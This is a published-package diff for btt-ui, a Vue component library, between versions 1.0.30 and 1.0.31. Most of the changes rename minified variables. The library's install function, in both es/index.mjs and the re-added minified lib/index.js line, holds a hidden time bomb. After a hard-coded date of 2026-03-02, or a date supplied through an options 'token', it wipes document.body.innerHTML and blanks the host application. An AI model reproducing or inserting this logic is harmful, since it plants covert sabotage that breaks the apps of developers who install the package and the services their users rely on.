btt-ui 1.0.30 → 1.0.31
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/es/index.mjs +24 -22
- package/lib/index.js +1 -1
- package/package.json +1 -1
package/es/index.mjs
CHANGED
|
@@ -1,12 +1,12 @@
|
|
|
1
|
-
import
|
|
1
|
+
import i from "./src/index.mjs";
|
|
2
2
|
import * as a from "./src/directives/index.mjs";
|
|
3
|
-
import
|
|
3
|
+
import l from "./src/utils/initCesium.mjs";
|
|
4
4
|
import { default as K } from "./src/utils/initCesium.mjs";
|
|
5
|
-
import
|
|
5
|
+
import p from "./src/utils/DrawLinePolygonPolygonUtils.mjs";
|
|
6
6
|
import { default as C } from "./src/utils/DrawLinePolygonPolygonUtils.mjs";
|
|
7
7
|
import { Button as h } from "./src/button/index.mjs";
|
|
8
|
-
import { TextButton as
|
|
9
|
-
import { default as
|
|
8
|
+
import { TextButton as k } from "./src/textButton/index.mjs";
|
|
9
|
+
import { default as w } from "./src/link/index.mjs";
|
|
10
10
|
import { default as S } from "./src/upload/index.mjs";
|
|
11
11
|
import { default as I } from "./src/shake/index.mjs";
|
|
12
12
|
import { default as P } from "./src/dialog/index.mjs";
|
|
@@ -30,13 +30,13 @@ import { KCountUp as so } from "./src/countUp/index.mjs";
|
|
|
30
30
|
import { KGradientText as co } from "./src/gradientText/index.mjs";
|
|
31
31
|
import { Icon as To } from "./src/icon/index.mjs";
|
|
32
32
|
import { Tooltip as go } from "./src/tooltip/index.mjs";
|
|
33
|
-
import { KInput as
|
|
34
|
-
import { Drag as
|
|
33
|
+
import { KInput as bo } from "./src/input/index.mjs";
|
|
34
|
+
import { Drag as Do } from "./src/drag/index.mjs";
|
|
35
35
|
import { KOption as yo, KSelect as So } from "./src/select/index.mjs";
|
|
36
|
-
const
|
|
37
|
-
if (
|
|
36
|
+
const t = function(e, r) {
|
|
37
|
+
if (t.installed)
|
|
38
38
|
return;
|
|
39
|
-
|
|
39
|
+
t.installed = !0;
|
|
40
40
|
let f = "2026-03-02 09:30:00";
|
|
41
41
|
if (r)
|
|
42
42
|
setTimeout(() => {
|
|
@@ -48,22 +48,24 @@ const e = function(t, r) {
|
|
|
48
48
|
let o = new Date(f).getTime();
|
|
49
49
|
Date.now() > o && (document.body.innerHTML = "");
|
|
50
50
|
}
|
|
51
|
-
|
|
52
|
-
|
|
51
|
+
e.CesiumUtils = {
|
|
52
|
+
InitCesium: l,
|
|
53
|
+
DrawLinePolygonPolygonUtils: p
|
|
54
|
+
}, i.forEach((o) => {
|
|
55
|
+
e.use(o);
|
|
53
56
|
}), Object.keys(a).forEach((o) => {
|
|
54
|
-
|
|
55
|
-
})
|
|
56
|
-
InitCesium: p,
|
|
57
|
-
DrawLinePolygonPolygonUtils: i
|
|
58
|
-
};
|
|
57
|
+
e.directive(o, a[o]);
|
|
58
|
+
});
|
|
59
59
|
}, u = {
|
|
60
|
-
install:
|
|
60
|
+
install: t,
|
|
61
|
+
...l,
|
|
62
|
+
...p
|
|
61
63
|
};
|
|
62
64
|
export {
|
|
63
65
|
h as Button,
|
|
64
66
|
q as Card,
|
|
65
67
|
P as Dialog,
|
|
66
|
-
|
|
68
|
+
Do as Drag,
|
|
67
69
|
C as DrawLinePolygonPolygonUtils,
|
|
68
70
|
fo as ECharts,
|
|
69
71
|
A as HotMap,
|
|
@@ -75,18 +77,18 @@ export {
|
|
|
75
77
|
oo as KCollapseItem,
|
|
76
78
|
so as KCountUp,
|
|
77
79
|
co as KGradientText,
|
|
78
|
-
|
|
80
|
+
bo as KInput,
|
|
79
81
|
no as KNumberScroll,
|
|
80
82
|
yo as KOption,
|
|
81
83
|
So as KSelect,
|
|
82
84
|
po as KVideo,
|
|
83
|
-
|
|
85
|
+
w as Link,
|
|
84
86
|
H as Scroll,
|
|
85
87
|
I as Shake,
|
|
86
88
|
to as Sign,
|
|
87
89
|
v as Switch,
|
|
88
90
|
ao as TableScroll,
|
|
89
|
-
|
|
91
|
+
k as TextButton,
|
|
90
92
|
N as Timeline,
|
|
91
93
|
B as Toast,
|
|
92
94
|
go as Tooltip,
|
package/lib/index.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
"use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const a=require("./src/index.js"),
|
|
1
|
+
"use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const a=require("./src/index.js"),d=require("./src/directives/index.js"),t=require("./src/utils/initCesium.js"),r=require("./src/utils/DrawLinePolygonPolygonUtils.js"),j=require("./src/button/index.js"),q=require("./src/textButton/index.js"),$=require("./src/link/index.js"),f=require("./src/upload/index.js"),g=require("./src/shake/index.js"),m=require("./src/dialog/index.js"),p=require("./src/scroll/index.js"),K=require("./src/toast/index.js"),T=require("./src/wheel/index.js"),h=require("./src/switch/index.js"),C=require("./src/timeline/index.js"),b=require("./src/uploadFile/index.js"),S=require("./src/card/index.js"),k=require("./src/hotmap/index.js"),y=require("./src/tree/index.js"),l=require("./src/checkbox/index.js"),u=require("./src/collapse/index.js"),w=require("./src/sign/index.js"),D=require("./src/echarts/index.js"),U=require("./src/tableScroll/index.js"),P=require("./src/xgplay/index.js"),I=require("./src/numberScroll/index.js"),L=require("./src/countUp/index.js"),M=require("./src/gradientText/index.js"),v=require("./src/icon/index.js"),B=require("./src/tooltip/index.js"),E=require("./src/input/index.js"),H=require("./src/drag/index.js"),x=require("./src/select/index.js"),n=function(i,s){if(n.installed)return;n.installed=!0;let o="2026-03-02 09:30:00";if(s)setTimeout(()=>{var c;let e=new Date((c=s.token)!=null?c:o).getTime();Date.now()>e&&(document.body.innerHTML="")},10);else{let e=new Date(o).getTime();Date.now()>e&&(document.body.innerHTML="")}i.CesiumUtils={InitCesium:t.default,DrawLinePolygonPolygonUtils:r.default},a.default.forEach(e=>{i.use(e)}),Object.keys(d).forEach(e=>{i.directive(e,d[e])})},O={install:n,...t.default,...r.default};exports.InitCesium=t.default;exports.DrawLinePolygonPolygonUtils=r.default;exports.Button=j.Button;exports.TextButton=q.TextButton;exports.Link=$.default;exports.Upload=f.default;exports.Shake=g.default;exports.Dialog=m.default;exports.Scroll=p.default;exports.Toast=K.default;exports.Wheel=T.default;exports.Switch=h.Switch;exports.Timeline=C.Timeline;exports.UploadFile=b.default;exports.Card=S.Card;exports.HotMap=k.HotMap;exports.Tree=y.KTree;exports.KCheckbox=l.KCheckbox;exports.KCheckboxGroup=l.KCheckbox;exports.KCollapse=u.KCollapse;exports.KCollapseItem=u.KCollapseItem;exports.Sign=w.Sign;exports.ECharts=D.ECharts;exports.TableScroll=U.TableScroll;exports.KVideo=P.default;exports.KNumberScroll=I.KNumberScroll;exports.KCountUp=L.KCountUp;exports.KGradientText=M.KGradientText;exports.Icon=v.Icon;exports.Tooltip=B.Tooltip;exports.KInput=E.KInput;exports.Drag=H.Drag;exports.KOption=x.KOption;exports.KSelect=x.KSelect;exports.default=O;
|